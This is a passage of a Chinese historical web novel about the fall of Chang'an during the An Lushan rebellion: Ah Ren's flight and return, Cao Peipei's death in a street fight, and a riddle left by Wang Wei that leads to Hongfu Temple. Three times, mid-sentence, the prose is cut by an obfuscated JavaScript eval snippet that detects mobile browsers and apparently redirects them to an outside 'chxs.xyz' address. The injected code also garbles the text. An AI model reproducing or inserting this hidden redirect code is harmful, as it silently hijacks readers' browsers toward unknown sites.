后来的史书上记载是“王公、士民四出逃窜,山谷细民争入宫禁及王公第舍,盗取金宝”,阿忍在楼上只听见下面喊声震天,抢劫的、放火的到处都是,留守的士官只好暴力维持治安,抓到作乱者后斩首以儆效尤。她不敢跑远去找王维,然而商队里的男人们又嘀嘀咕咕地凑在一起商量什么,看见她来就闭嘴,尽管他们在闻辩还在的时候那么热情。 盛世。男人。 曹丰年的房间里坐着六个与其相熟的胡人,他刚从一个朋友那里得到消息,今晚申时会有人聚众破开明德门,他们跟着人群一起便可出城。 曹沛沛知道自己是有幸才坐在这里的,他鼓起来莫大的勇气,“我们可不可以带着赵娘子一起走?” 六人俯视着他,均轻蔑地笑了起来。“你还真喜欢她啊?” “赵娘子一路上对大家都很好。”他受不了这样的目光,声音都在颤抖,“曹丰年,你之前说你脸上总长包,她还给你介绍药。” 曹丰年从桌子上跳下来,走到他面前,“不错。可你要知道,出城是我们自己做的决定,不是闻辩的命令。聚众破门你懂不懂?一群人拿着武器和火把杀出去。若是带上她,她在冲突中死了,那完全是我们的错;若是不带她,她留在长安死了,是闻辩自己没安排周到的问题。我负不起这个责任。” 说的真有道理,曹沛沛跟着他们恍恍惚惚地出门做准备,本来就不是我们的责任。再说,我干嘛为了她惹恼曹丰年?他用力跺着楼梯下楼,心中的酸楚和愤恨翻江倒海。曹丰年虽然也不怎么待见他,却是他在商队里唯一的老乡、唯一可以仰仗的人,至于赵安忍,不是天天问伽衡去哪里了吗?我偏不告诉你伽衡去哪里了,这样紧要的关头,也不见他回来找你啊。 他想到最后甚至产生了一丝快感。 你们汉人的长安城也要破了。 曹沛沛在脑海里盘点着自己该带什么行李,打算在客栈大堂点一碗面,曹丰年就坐在旁边一张桌子上骂道:“厨子跑了。” “那我们自己去厨房做吧。” “我懒得做了,不吃算了。”曹丰年说完就起身准备走,起身到一半停住了,阿忍端着一个大托盘从厨房那边走来。本来是做给自己吃的,看见厨子不在,顺手就把剩余的面都下了。她的表情就像曹沛沛第一次隔着半遮半掩的窗帘远远望见时的一样古井无波,只是在把几个碗端给商队同伴的时候稍微笑了一笑,没人说话。她在水缸里洗了洗手,转身上楼。 曹沛沛啊曹沛沛,别人不把你当个可以共事商量的男人,你自己也不把自己当男人吗。 等意识到自己在干嘛的时候,他已经追上去拉住了阿忍的衣角,血液冲上头顶,让他两眼发黑,几乎站不稳。阿忍反手拉住他胳膊,待他站稳后又缩回去,轻声道:“不用跟我说什么。” 身后好几个人在喊自己的名字,曹丰年已经大步过来了,他却听见自己一字一句清晰地说道:“今晚申时,和我们一起走。”话音未落,衣领不知道被谁从后揪住了。阿忍瞳孔一缩,忙道:“你......把他放下来。我不走,我哪儿都不去。” 曹丰年慢慢地歪了一下头,她几乎有种转身就跑的冲动——那样具有压迫感的身形和异域面孔,她近距离对上了就害怕,怎么伽衡就从没带来过这样的感受?却听他开口道:“那不是显得我比曹沛沛要小气?” “那这样,我写一封生死契,出什么意外都不关你的事。” “好!”他满意道,松开手,“就这么办吧。赵娘子,我当然还是希望你安全的。” 曹沛沛四仰八叉地摔在地上,想着自己应该会把这样的荣耀时刻记一辈子的。 临近申时,几波人在暗暗地接近明德门,赵安忍找曹沛沛借了套男装穿着,背着个小包袱。曹丰年不让她把巴瑞施玛带着,说这样纯白的大骆驼冲进人群就是众矢之的,她给它喂了最后一根萝卜后就把绳索解开了。“学你主人一样,天高海阔地走,永远不回来。”她小声说,不知道是在祝福巴瑞施玛还是在埋怨那始终不出现的主人。 不过现在也无所谓了,别人的来去本来就和赵安忍没关系。 曹丰年当然不会参与第一波争斗,他们几人一直在街角观望,等前面的人抱着巨木撞开城门的时候才跟着冲过去。人流像河水般汇聚成一股,有人摔倒了,后面的人便要从他们身上踩过去,争先恐后地要从那狭窄的门洞里出去。当年他们也是这样争先恐后进来的,怀着对一个伟大帝国的最高梦想。 他心里暗道一声不妙,扭头看时那娇小的女子已经不见了,下一秒她拽着个孩子站起来,被后面的人推得往前一踉跄。曹丰年心头无名火起,还是用力把她勾到自己身边来,蛮力挤出人群。门外有几个侍卫在抓人,他往人多的地方一通乱钻,竟然真毫发无损跑掉了。不远处,那位朋友早准备好马,他把阿忍扔到马上,随即自己也骑上去疾驰而去。 阿忍默不做声地往前挪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001942|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挪,她感觉他下面在往自己身上贴。 曹丰年也没再动,冷笑道:“你还拉别人,你差点被踩死了。” “谢谢你,但我好像写过生死契的。” “得了便宜还卖乖。”他哼一声。马已经飞奔到一处树林中,他们等了一会儿,余下六个同伴中只来了四个,曹沛沛来了。他惊恐未定的浅褐色眼睛一看到阿忍便亮了,真心为她平安出城感到高兴。阿忍嘴唇原本在无声地张合着,这会儿停下来。 “你在干什么?”曹沛沛轻声问。 “念经。”她也轻声答,“今夜好多人要死。” 树影婆娑,时不时就有人马从身边匆匆经过,惹得那些枝叶藤蔓的影子在月光下晃动不止,黑黑白白地移位。确定再也等不到一个人了,他们便连夜出发。曹丰年选的小路,怕遭遇叛军,又时常迷路,更何况自从皇上失踪后各部门几乎就瘫痪了,流寇、盗贼陡然增多,天下已然大乱,他们走了许久也不知道到哪里了。 阿忍保持沉默,积极地找食物、饮马,再在他们开始互相埋怨的时候柔声劝几句。几个男人想在这荒郊野外对她做什么简直太容易了,好在曹沛沛始终有意无意地把靠近她的手挡开。第六天时,远远有马蹄声向这边过来,他们把刀都拔出来了,直到人家接近才看清是个少女。 “你是红豆?”阿忍连忙扶她下马。红豆不怎么会骑马,腿内侧已是一片淤青,脸和衣服更是脏的狼狈至极,想来半大的姑娘,一路至此肯定吃了很多苦。她看清是阿忍,眼泪顿时就下来了:“我家郎君让我来找你!你快回长安!” “怎么回事?” “他——年纪大了,跑不出来,叫我务必要跑出来找你。”红豆抹泪道,“他说请你务必再回府上一趟,事关......事关你和令尊性命!我让他告诉我什么事,他说必须让你亲自回长安才能知晓,还要尽快,晚了可就被别人抢先了!” 阿忍冷静地在原地思考了一会儿,说:“好,我跟你回去。” 曹丰年他们从后面围过来,不等他开始阴阳怪气,她便脱下披风,咬破手指,在上面写下“忍生死自取无关他人”九个大字递给他,他一时还被震慑住了,什么话也没说。阿忍与红豆共乘一匹马,原途折返,走了不过二十里路曹沛沛就从后面追过来了。他面色煞白,缰绳乱七八糟地绞在手上,把指尖勒得缺血。 “回去。”她温声道,“你一路上已经表现得够好啦,再往西就能回家了。” 他摇了摇头,并生怕自己反悔似的,一踢马肚子率先往回跑。阿忍和红豆只好跟上,期间阿忍苦口婆心、好说歹说,言辞越恳切他就越倔强。红豆始终在哭,阿忍比她会骑马一些,她就抱着阿忍的腰,眼泪一点点浸湿她的衣裳。 第十一天她们投诉到郊外一位老丈的家中,来往的难民告诉她们叛军已经占领长安了,烧杀抢掠,王公贵族就当街斩杀,乐工伎女妃嫔就送去洛阳。老丈听闻缘由后也劝他们不要回去,王维是个官员,最多是招降后为己所用,两个姑娘若被抓走可就不止于此了。红豆显然没抓住重点,气呼呼道:“我家郎君不会为叛军做事的。” 阿忍没吭声,她其实觉得......唉,平叛时他的品级不足以对皇上建议一个字,失陷后他的骨气也不能把局面扭转一点点。她不懂儒家对士人的要求,她只是希望他能活着。 19. 月亮与土地 当晚他们开始商讨进城的对策。老丈家中一根蜡烛也不剩了,三人便靠在有月光漏进来的窗边,看对方的身形都是模糊的。阿忍和曹沛沛在使劲儿捶腰捶腿,他们从未这样疯狂地赶过路——红豆一直催再快一点——几天下来已是浑身酸痛。 “要我说,”红豆急切道,“叛军不是会抓人送去洛阳吗?那个时候就会开城门,然后我和曹沛沛跟在你左右......” 曹沛沛嗤之以鼻,“靠我们两个,挡住守门的士兵?” 红豆不说话了。她心急如焚,但也自知理亏,人家好不容易才出城避难,自己理由也说不清就要人家回去。阿忍牵过她的手,“妹妹,这件事你是必须要做对吗?” “无论代价。” “其实有一个可行的办法。但说到底是我的事情,让你冒风险实在不应该。” “怎么就是你的事情?是我家郎君的嘱托。赵娘子,你有什么办法就说,我的命不值钱的,当年郎君用五贯钱就买下来了,若出了什么差错你给他五贯钱就行。”她仰起脸,少女的五官挤在一起稍显局促,还没有长开。“把你送进城才是最要紧的。” “若果真如此......他们每抓到一百名女子就会绑在一起送出城,你到时候先躲在城门旁,然后往外跑,假装是从队伍里逃脱的女子,引开士兵。而被抓来的女子四处逃窜,我这时候混进城。我们提前把一匹马藏在附近,你只需要跑过去,然后骑马一路往西。” “哎,这个办法靠谱!我那样突兀地逃脱,士兵的第一反应肯定是都来追我,你很容易就进城了!” “你想清楚呀,他们都来抓你,你可就——” “我想得很清楚。”她因恐惧和兴奋而微微颤栗的瞳仁里倒映着阿忍蹙眉的表情,“郎君收养我,待我就像亲祖父一样,我万死不足以报答,何况能不能被抓到还说不准呢,我跑步很快。再说了赵娘子,你愿意为我家郎君回来,红豆都不知道怎么谢你。”她甩开阿忍的手就要给她磕头,没甩开,却被抱住了。 她感到不好意思,因为自己身上很脏,而赵娘子好香好干净好漂亮。 “红豆妹妹,你很勇敢哦,我会告诉王给事的。等此事结束,我们就往西边去找你。” “赵娘子,”她小声道,“有没有人说过你像菩萨呀?” 阿忍笑着地摇摇头。老丈给了他们一个熟过头的苹果,她洗了切成两半分给两人,然后催促他们快休息。出于某种自己也不愿探究的心理,曹沛沛刚才一直没参与讨论,等红豆到隔壁睡觉去了才问:“我到时候做什么?” 路上阿忍已经谢过他好多次,陪伴到这里已经是天大的恩情,后面无论如何都不必再跟了;更何况她又要混进女子中,曹沛沛过去会被士兵迅速发现,不仅自身难保,还容易暴露她的位置。劝说过许多遍,可他就是不听,阿忍也着实累了,重复了一遍叫他去找曹丰年便离开。 可是这算什么事呢,他没起到任何作用,在她真正面临危险的时候离开?曹沛沛抓心挠肝地睡不着,他反复揣摩阿忍的语气,怀疑她是不信任自己。倘若伽衡在这里,他是绝不会走的。 他现在不在这里,这里只有一个曹沛沛。 翌日阿忍早上便在附近观察地形以及叛军是怎样押人出城的,人们的手被一根粗麻绳绑成一串,她便也给红豆准备了一截麻绳。马也放在一棵近而隐蔽的树下了。只是曹沛沛仍然没有走的意思,她又说了几遍,只好由着他。当晚的月亮不怎么明亮,三人趴在草地上一点一点地向城门挪动,最终停在了一小排灌木后。 红豆穿着那件伽衡买给她的齐胸裙,双手攥着麻绳。 昨日红豆便担忧说,他们抓的都是漂亮女子,自己一根又黄又瘦的豆芽菜跑过去会不会显得很假?阿忍觉得也是,为她洗了脸、梳了个高高的堕马髻,再套上拆掉绒毛内衬的深红裙子,远远看起来便是那回事儿了,自己则换上一件普通淡绿衫。红豆见阿忍包裹里的其他衣服都造型朴素、颜色淡雅,忍不住问道:“这件是不是别人送你的啊?” “是啊。”阿忍答道,“送给你。” 总之红豆就是稀里糊涂地穿上了,阿忍的气息此刻萦绕在她周围,觉得很满足。纵使郎君对她好,她也没穿过如此漂亮昂贵的裙子,因为这种裙子不是祖父给孙女买的,而是男子给心上人买的。红豆一眼便看出来了,但她没明说,怕阿忍被勾起回忆又舍不得给她了。 王维在腥风血雨的昔日帝都里焦灼地等待,他们趴在湿热的泥土上盯着城门,远方那个送裙子的男子刚刚听闻长安沦陷的消息,群鸦喑哑,守城士兵铁架森森,月亮黯淡的像要熄灭,红豆不着边际地想到了一些心事:以后有没有男子也给我送这样漂亮的裙子? 大门开了,阿忍屏住呼吸,果然与她观察到的一样,这个时辰出来的是女人。这样看来红豆甚至穿得太体面了,被绑在一起的女人都发钗歪斜、衣衫不整,显然是经过激烈挣扎的,一边走一边抽泣。走在队伍最前面的是子夜歌,表情从容,昂着自己长而优美的脖子。 半年前阿忍遥遥见她,环珮珰然,仿佛兮若轻云之蔽月,飘摇兮若流风之回雪,无数世家公子拥挤在大象旁,奋力将金银珠宝掷到她脚底;今日再见她,粗布衣裳上尽是泥印,几个叛军士兵怪笑着拿剑鞘打她大腿。而子夜歌的神情毫无变化,她仰着古典而淡雅的小脸,在这悲哀荒诞的场面下美的惊心动魄。 盛世女人值千金,乱世女人一斗米。 曹沛沛扭头,看见红豆眼中有泪,他不知道她为何流泪,一时有些担心红豆临阵变卦。然而下一秒红豆就箭一样冲了出去,放声尖叫,对她来说稍显宽大的裙子在身后鱼尾般飘飞。几个士兵迅速朝她追去,队伍里的女人因为互相连接拉拽着,跑也跑不开,本是直线形的队伍迅速扭曲成了一团,尖叫与哭喊不绝于耳。 他感觉浑身的血已经结成冰,他又去看阿忍,阿忍一刻也没犹豫就站起来跑了。 阿忍跑起来很快,周围的女子推推搡搡、包围在一起,寥寥几个士兵即使拔出剑来也暂时够不到中间,只是红豆极具穿透力的惨叫声始终直击她的心脏。她俯着身子钻过去,进了城门,然而门内还有士兵!离最近的一只手就抓到了她的胳膊,突然一把小刀砍过来,士兵吃痛松开手。 她在泪眼中回望,看见曹沛沛同样惊恐的泪眼。 几个士兵都过来了,阿忍眨眼间就又钻进女人堆中,他一咬牙朝反方向跑去。士兵认不出阿忍,注意力全部集中在他一个乱窜的男人身上。他宛如梦游刚醒,丢开刀子,撒腿就开始狂奔。他也不知道自己为什么要把小刀丢了,他现在好像不会思考了。 他跑进一条无人的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001943|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巷,地上都是新鲜的尸体和血水,身后的脚步声如蛇一般紧紧咬着他,并随着巷子越来越狭窄而回声缭绕。“别追我了!”他崩溃道,“我没有钱!我不是什么人物!追我干什么啊!”他在一个尸体上绊了一跤,顺着下坡路滚了下去,爬起来又继续跑。不知道这样追逐了多久,身后只有一个人仍执着地跟着。 对方拔出剑,猛地扑倒他,他在恐惧下一阵拳打脚踢,居然把剑踢飞了,然而脸上挨了结结实实一拳,鼻血顿时涌出来。他反身想爬起来,就感到冰凉的金属刺进了自己的肩膀。 “别抓我了!右边那条巷子里有个姑娘......你去抓她呀!她也是外面跑进来的!你抓她呀!”他一边大吼着,一边夺过剑,朝对方胸前狠狠砍去。月光在剑身上反射,照亮了对方同样恐惧的脸,是个胡须很长的汉人。他转身跌跌撞撞地跑,然而汉人还是不罢休,再次从背后撞过来。 曹沛沛完全崩溃了,他不懂得他们两个小人物为什么要在大人物看不到的地方,这么卖力地互相残杀。他被撞倒,嘴里仍喊着乱七八糟地话,汉人趴在他身上掐住他的脖子,胸口漫出来的血把他脸糊住了。到处都是血。到处黏黏糊糊。曹沛沛被自己的耳鸣吵的头痛,他觉得手脚好冷,明明是六月啊? 他奋力挥拳,是打在烂柿子上的触感。转身继续跑。 两人这样厮打了半条巷子,最后互相掐着脖子一起跌倒在地上。血水和腐肉的味道漫进曹沛沛的口鼻里,他连失声痛哭的力气都没有,喘一口气就被喉咙里的血给呛到。 汉人挣扎着翻了个身,他的嘴唇因为失血过多成了灰色。天上一轮黯淡无光的月亮掉进他的眼睛里。 “汉人,”曹沛沛突然想起阿忍很久很久以前跟他说过的话,“你是不是在看月亮啊?” 没有回应,他甚至听不见对方的呼吸。 曹沛沛的眼泪渗进泥土里,他没有翻身,始终把脸埋在血污肮脏的地上。那个让他一路上喜怒忧乐的姑娘,此刻他舍不得花时间去想她,他在想爹娘。明年爹娘还会在年节时去土里翻找天儿的骸骨,儿子的骸骨却在异乡回不来了。 阿忍刚从人群中钻出,几十个士兵已经发现她不属于这条被麻绳串起的队列,纷纷向她跑来。其中一个一剑刺到她背上,她向前摔倒,反身就打算踢对方□□,踢到一半硬生生缩了回来——一道飘逸的人影飞身挡在她面前。 解不寻一剑荡掉了对方的剑,并不恋战,拦腰抱住阿忍就使轻功上了房顶,又携她跑了一段路才松手,阿忍吓得连忙蹲下来,生怕自己从屋檐上滑下去了。解不寻衣服上尽是小破口,然而精神抖擞,埋怨她道:“怎么不喊‘解大侠’?我没往这边看一眼你就危险了。” “解大侠!我有一个朋友失踪了,能不能麻烦你找找?” “他长什么样子?在哪里?” 曹沛沛的脸没有什么特点,她也不知道他在哪里。至于说红豆,城门那儿大概已经增补看守、恢复秩序了吧?就算解不寻愿意以身犯险也根本没有胜算。她一时间难受地喉咙都闷痛起来,只是道:“算了。我现在要去王给事宅邸,再次谢谢你啦。” 其实只要进了城,她换一身脏兮兮的男装贴墙根走,倒也没人注意。但是解不寻还是决定再捎她一程,轻功带她从屋顶上直接去了王宅,跳到地面上才将她放下。 20. 谁沉溺 两人躲进对面的空房里观察王宅的情况。王宅周围的士兵格外多,一路过来也不见其他建筑被这样戒备,不一会儿两个士兵一左一右押着王维出来了。他被绑着双手,项上套枷,有意无意地往这边看了一眼,解不寻按住阿忍,冷静地将窗户往外推了一点。 路过门口的石狮子时,他突然被什么绊了一下。左边的士兵粗暴地将刀鞘捣进他嘴里搅,血顺着胡须淌下来。他被押走后,几个士兵再次进去,阿忍和解不寻耐心地听着翻箱倒柜的声音,很久后士兵才拿着几张值钱的字画出来,然后全部撤走。 阿忍咬牙切齿地跳出来。在王维绊倒的地方长了很高的杂草,深处散落着石块,她从中找到了一个巴掌大的罗汉泥塑,一看就是义父的手艺,然而她居然不认识这是谁。解不寻又帮着她去宅邸里搜寻一番,什么文书信息都没留下,但还有相同大小的罗汉,被砸碎了,数脑袋的话有五个,然而已被靴子碾得扁平变形,什么也瞧不出来了。 现在王给事也被抓走了。她捧着小罗汉,四顾茫然,他要告诉我什么呢?我要做什么?我在长安怎么办? 解不寻说他知道一个干点铺子的地窖是个很好的藏身之处,他这几天救下的人都在那儿。阿忍却想独自待着,她觉得在探清王给事要说的事前,应行踪隐秘一些,以免有图谋不轨的人伪装成难民靠近自己。 最后她回了云海间,推开门,陈列架上的奇珍异宝被洗劫一空。又进里屋,好在伽衡在地窖门上码了一垛瓦罐,没被人发觉,地窖里的藏品仍在,包括红布里的珊瑚扇 解不寻告辞道:“出城的事我会帮大家想办法的。”他响亮地抱拳,提剑转身离去,没有再上房檐。阿忍盯着他的背影,对人的真假又感到迷茫了。 后面的三天她一点也没闲着,先是把自己的衣服全改制成男装,又重回王宅几次找线索,顺便弄点食物。她想着既然自己不认识这个小罗汉,可以找僧人或泥塑匠人问问,戴上斗笠便出发。街上的叛军很多,昨日夜里在崇仁坊又屠杀了一波王妃、驸马、郡主、皇孙,她在地窖里用低低的吟诵和着遥远模糊的哭喊,至今犹在耳畔,她在街角蹲守半天也不敢走出去。 一只手突然拉住她胳膊。她心脏骤停一拍,往后猛力推却推不动,被那人拉回来、摘下斗笠,伽衡那张惊喜万分的脸出现在了面前。他一连叫了好几声“阿忍”,还没来得及说别的,阿忍突然把手臂抽了回来。 “你去做什么了?”她急切道。 “我去沙州了,你义父失踪了——曹沛沛没跟你说?我还留了个纸条。” 她站在原地微微张着嘴,静了一会儿。“他没说,也不知道他现在在哪里......我义父怎么失踪了?什么时候的事,他人现在在哪里?” “没事没事。”他立即道,“我检查过了,少了些衣物、被褥和泥塑工具,闻辩也说他是自行离去的。你师弟当时给闻辩匆匆修书一封,现在也不知去向,大概去找他了吧。” 阿忍越想越奇怪,义父腿脚不便,怎么会自己出远门,轻声道:“你怎么证明你去沙州了呀,怎么证明你说得都是真的?” “我......什么?我骗你干什么?”伽衡简直觉得莫名其妙,他不过是出去一趟,阿忍怎么就这样不近人情,“当时闻辩叫我立刻出发,他现在在杭州,只有他和曹沛沛可以作证。不是,为什么要作证啊,你不相信我?” 闻辩原来叫他直接去杭州找自己,他半路听闻长安失陷的消息便不管不顾回来了,在门口绕行一日后找袁悦要来了军服与令牌。袁悦是镇守长安的叛军殿中监孙孝哲的亲兵,酷爱搜集奢华珠宝,是他的一个大客户。他又说这只是普通士兵进出的令牌,在城内仍应小心行事,另一位叫吕蒙恩的殿中省可是颁布了命令,谁能捉到非法入城者,赏谁十两黄金。 他进城后四处寻找阿忍。都城驿早已空无一人,就连巴瑞施玛也不见踪影。 阿忍的心情五颜六色乱七八糟,她一边感觉到自己愚蠢可恶的情感再度升腾起来,一边又在说服自己,安禄山还能在圣上面前恸哭啊。她的不信任倒不是因为伽衡不可信任,而是觉得人的真假是自己都不可控的,谁也不是绝对可信的。自己也是这样呀。然而这样玄虚的缘由也不好解释给伽衡听,她只好笑着摇了摇头。 “什么意思,阿忍,你能不能听我说!”伽衡急得半蹲下来平视她,“是因为不知道我和闻辩去哪里了所以生气吗?长安一个你熟悉的人都没有,然后叛军入城......我是真的跟曹沛沛说过。而且我真的会回来找你的,上次,上次在客栈,你都站在原地不动,是我自己反复回来。阿忍,你在长安,我穿过一百个沙漠都会回来的。” 她拧着衣角,反复对自己说,冷静,你想安禄山...... “是不是因为这个原因?”他硬是把手塞到她的手中,“我好喜欢你的,我一句谎话都不会说。” 阿忍的脑子化成一摊浆糊。她把手缩回来背到身后,正色道:“再说吧。我遇到了点麻烦,你看看有没有什么头绪?”随即把发生的一切都告诉了他。“我是这么想的,王给事不让红豆传话,执意让我亲自回来,肯定是因为什么关键的人或物在长安。然而他又被叛军抓了去,没法亲自告诉我,只好用这个小罗汉像当线索。我记起他之前说义父来长安与他说佛法,一天送他一尊泥塑,想来这个便是了,这么小,一天可以雕成。然而大乘中有五百罗汉,这位是谁呢?” “你不要单独地思考这个是谁,”他其实相当不开心,但阿忍既然已经强行转移了话题,他也不得不强打精神想问题,“一般来说,买碗要买筷,送礼送一套。他总不能在五百个人里随即挑选十个人——” “佛陀的十大门徒。” 阿忍立刻明白了。她原先没想到,是因为人们一般给十六罗汉、十八罗汉或者五百罗汉塑像,很少做十大门徒的像,如今伽衡这样提示她才想起来。又见罗汉以拇指与中指相捻,其余各指自然舒散,乃是“说法印”,是讲经时常用手势。 十大弟子中,富楼那是说法第一,迦旃延是议论第一,这两个人都与讲经相关。伽衡也是第一次见十大弟子的塑像,他略有了解,想了想说:“会不会是迦旃延?他不仅是议论第一,有种说法是‘解密第一’,因为他好像解出过一块石碑上的偈文。” 阿忍立刻了然。传说波罗奈城附近有一块石碑,上面刻着世人所不认识的字迹,像是写着一首偈文。就算那碑文有人识得,真义一定也要大觉者才能知道。然而迦旃延说这是梵天上的文字,有神通的人才认识,并当着国王把石碑上的偈文翻释诵出来: 王中之王是谁? 圣中之圣是谁? 何谓愚者? 何谓智人? 怎样离开垢秽? 怎样获证涅盘? 谁沉溺在生死海里? 谁逍遥于解脱国中? 迦旃延解密的本领因此广为流传。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001944|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王维将他第一个给阿忍,意思即,解密开始。 两人面面相觑。阿忍又念了几遍“何谓智人何谓愚者”,想从偈文中找线索,然而不知道是偈文太抽象还是自己佛法不够精深,没法从中找到什么具体的地理位置——小迦旃延应该是将他们引向下一个地方的。“我们去寺庙找位法师问问吧,”她犹豫地说,“虽然可能没用,但我不知道该怎么办了。” 伽衡不认为和尚就能对这个小罗汉有什么更高的见解,毕竟这是王维留给阿忍的、事关她和她义父的一条很私人的线索,但既然阿忍都猜不出什么意思,他就更没主意了。“不过长安的佛寺多得很,你要去哪个?” “哪个布防少就去哪个吧。就算你有令牌,一个叛军士兵带着一个女子进佛寺也是很奇怪的......等等!”她突然大叫了一声,又很不好意思地咳了两下掩饰自己的失态,“长安里和‘解密’联系最大的就是玄奘法师当年的译场了,咱们去那里瞧瞧。是在大慈恩寺吗?” “大雁塔是为纪念玄奘西行求法、归国译经而建的,真要说译经的场所,那是在修德坊弘福寺。” “哦。”阿忍想自己刚才还兴奋地叫了一声,更不好意思了,“我以前只听说过大慈恩寺。” “我也是往里面送了两次佛像才听说的。” 伽衡于是带路往弘福寺而去。长安太大,他们没有马匹,天气又炎热,阿忍最后几乎是拖着步子在走,到弘福寺时已是下午。两个士兵在门口拦住他们,伽衡于是举起令牌:“我是袁悦部下的。” 其中一个问:“你带个女人来寺里干啥?”他执勤也很累,好不容易碰到个情况能说说话,语气中好奇多余警惕。 “刚掳来的。”他伸手握住阿忍的脖子往自己怀里一带,“我听说这寺庙很灵,与正缘一同参拜能两情相悦、同心同德,反之则会立刻分离,恨不得出了寺庙就要往两边走。” “你对掳来的女人还怪深情的。” “那让我进去呗。” 两人哄笑着让开了条路,伽衡一进门便松开了手,他们隔得远远的登上了台阶。台阶被六月的阳光朗照,一寸青苔也不长,阿忍感受到滚烫的温度从石阶上升腾起来,穿过薄薄的鞋底抵达自己的脚心,她在炙烤上一步一步走,魂不守舍地想着,他刚说的传闻是真的吗? 佛房中间供着四位菩萨,另有二十八星宿和八大金刚等泥塑,一个小沙弥慢吞吞地走过来,盯着伽衡腰间的令牌:“二位施主有什么事吗?” “请问这寺内的方丈在不在?不知是否有幸求见一面呢?” “方丈不见叛军。” “他不是叛军。”阿忍立刻道,“你就说王维的一位朋友求见。” 听到“王维”二字,小沙弥才鞠了一躬,不紧不慢向里去了,好一会儿都没有人出来。大殿里空荡荡的,伽衡走到香案前,泰然抽了三根香在蜡烛上点燃,扭头问她:“你拜不拜?” 她想着来都来了,也点了三根香,用中指和食指夹着香杆,大拇指顶着香尾,放在胸前,香头平对佛菩萨像;举香齐眉,回到胸前,开始用左手分插。先插在右边,念“誓断一切恶”,再插中间,念“誓修一切善”,最后插在左边,念“誓度一切众生”,她声音很轻,伽衡却听得清楚。 等阿忍上完香,他手中的香已经烧了一节手指长度。这是伽衡第一次认真学会了上香的礼节,但他只是一把插进了香炉,“誓和阿忍两情相悦、同心同德。” 21. 安忍不动如同大地 “伽衡!你对菩萨要有——” 方丈拄着拐杖出现了,阿忍没空和他计较,连忙双手合十鞠了一躬。方丈也笑眯眯地还了礼,“女施主是摩诘的朋友?” “不敢。我是王给事的故人之女,此番叨扰,还请方丈理解。”她犹豫了一下,决定先不把小迦旃延拿出来,“既然您认识王给事,不知道他此前有没有托付过您什么?” “哎呀,这可真叫语焉不详。摩诘还托过我每个休沐日都给他留一份斋饭呢,他得空就来。” “应该不是这样的事。” 方丈年纪很大,脸上爬满寿斑,眼皮耷拉下来将眼珠遮去一半,露出的一半却极有神光。“他正月时将一只鹦鹉寄养在我这里,要我好好照顾,女施主莫不是要这鹦鹉?” 阿忍又耐心地解释一番,最后还是掏出小迦旃延,把它的来龙去脉都讲了一遍。两人都从方丈逗小孩般的语气中听出他肯定知道什么,然而他始终只是笑眯眯地东扯西拉,说不出什么有用的信息。阿忍总不好质问长辈,焦急地和伽衡对视一眼,伽衡正好不耐烦了,便道:“你个老和尚,好歹跟着急一急、找一找吧?在这儿鬼扯什么?” “施主,你猜猜我为何能成为弘福寺的方丈?” “谁管你?” 方丈也不恼,兀自道:“我早年做过错事,按理说寺里都不该收我。但我天生慧根,精通因果占察......早上我就知道你们要来,卜了一卦,结果是吉。既然如此,我说或不说,结果都应是吉。二位施主尽管离去看看。” “方丈!”阿忍突然道,“插句题外话,小女一直以来都有个问题想请教。结局是一开始注定好了的吗?” “我看得见果,看不清因。” “意思是——” 一直灰绿色的鹦鹉突然从窗口扑棱棱飞进来,一边叫着“吉祥如意”,飞到阿忍手上琢了一下小迦旃延,突然改口道:“王中之王是谁?圣中之圣是谁?” 阿忍和伽衡立刻追着它跑了出去。鹦鹉的羽毛长得不对称,一路上飞得跌跌撞撞,撞得院内的树丛竹林都在摇晃,嘴里始终念着那首偈文,最终停在自己栖息的横梁木上。那根细圆木左端吊着两个小桶,装着它的食物和水;右端吊着一个小泥塑,刚好还平衡了。阿忍惊喜地叫了一声,连忙解下了泥塑,伽衡用手托住左侧,等她解下后把鹦鹉的一个小桶挪了位置,使圆木再次平衡。 鹦鹉啄了一下他的手表示感谢,把头探到桶里喝水。 四周林木闭合,是弘福寺内曲径通幽处,想来除了他们被鹦鹉引至此地,外人应该都没见过这个小泥塑。阿忍研究片刻,高兴道:“我知道是谁了。” “是谁呀?” 她瞥他一眼,突然想起什么,敛去一点笑意,“天色不早了,咱们先回云海间。” 两人沿着原路返回,方丈正站在弘福寺门口等他们。阿忍感慨万千,正欲开口再问,方丈抢先开口:“女施主,‘道’是要你自己去探寻的,问穿了就没意思了。更何况老朽自身也没弄明白。” “还是谢过方丈了。”她双手合十再次鞠躬。 